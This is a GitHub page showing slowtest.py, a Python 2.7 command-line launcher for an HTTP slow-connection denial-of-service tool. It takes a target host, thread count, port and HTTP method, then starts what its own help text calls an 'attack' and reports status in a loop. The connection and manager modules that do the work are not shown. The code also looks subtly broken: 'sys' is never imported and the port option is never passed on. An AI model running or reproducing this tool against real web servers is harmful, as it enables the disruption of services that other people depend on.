-
Notifications
You must be signed in to change notification settings - Fork 5
Expand file tree
/
Copy pathslowtest.py
More file actions
73 lines (60 loc) · 1.63 KB
/
slowtest.py
File metadata and controls
73 lines (60 loc) · 1.63 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
#!/bin/python
import getopt,time,threading
from connection import *
from manager import *
def help_usage():
print """Usage: python2.7 slowtest.py [OPTIONS]...
Options:
-h, --host Specify the destination host
-t, --threads The threads for complete total connections
-p, --port The port where is running the http server
-r, --request Request for the http method
-m, --method HTTP Method, PUT, GET, POST, OPTIONS
Example:
./python2.7 slowtest.py -h 192.168.1.2 -t 200
This execution will generate a attack using 200 threads
"""
host=""
port=80
method=""
request=""
verbose=False
threads=50
def init():
con=Connection()
con.setOption("host",host)
if (method!="" and request!=""):
con.setOption("request",method+" "+request +" HTTP/1.0\r\n\r\n")
man=Manager()
man.setConnection(con)
con.setOption("manager",man)
man.setThreads(threads)
man.startAttack()
con.setOption("manager",man)
while True:
print man.getStatus()
time.sleep(1)
try:
opts, args = getopt.getopt(sys.argv[1:], "h:r:t:p:m:", ["host=", "request=","threads=","port=","method="])
for o, a in opts:
if o == "-v":
verbose=True
elif o in ("-h", "--host"):
host=a
elif o in ("-t", "--threads"):
threads=int(a)
elif o in ("-p", "--port"):
port=int(a)
elif o in ("-r", "--request"):
request=a
elif o in ("-m", "--method"):
method=a
print "Attack to: "+str(host)+":"+str(port)
print "Threads: "+str(threads)
print "Method: " +method
print "Request: "+ request
init()
except getopt.GetoptError as err:
help_usage()
print err
help_usage()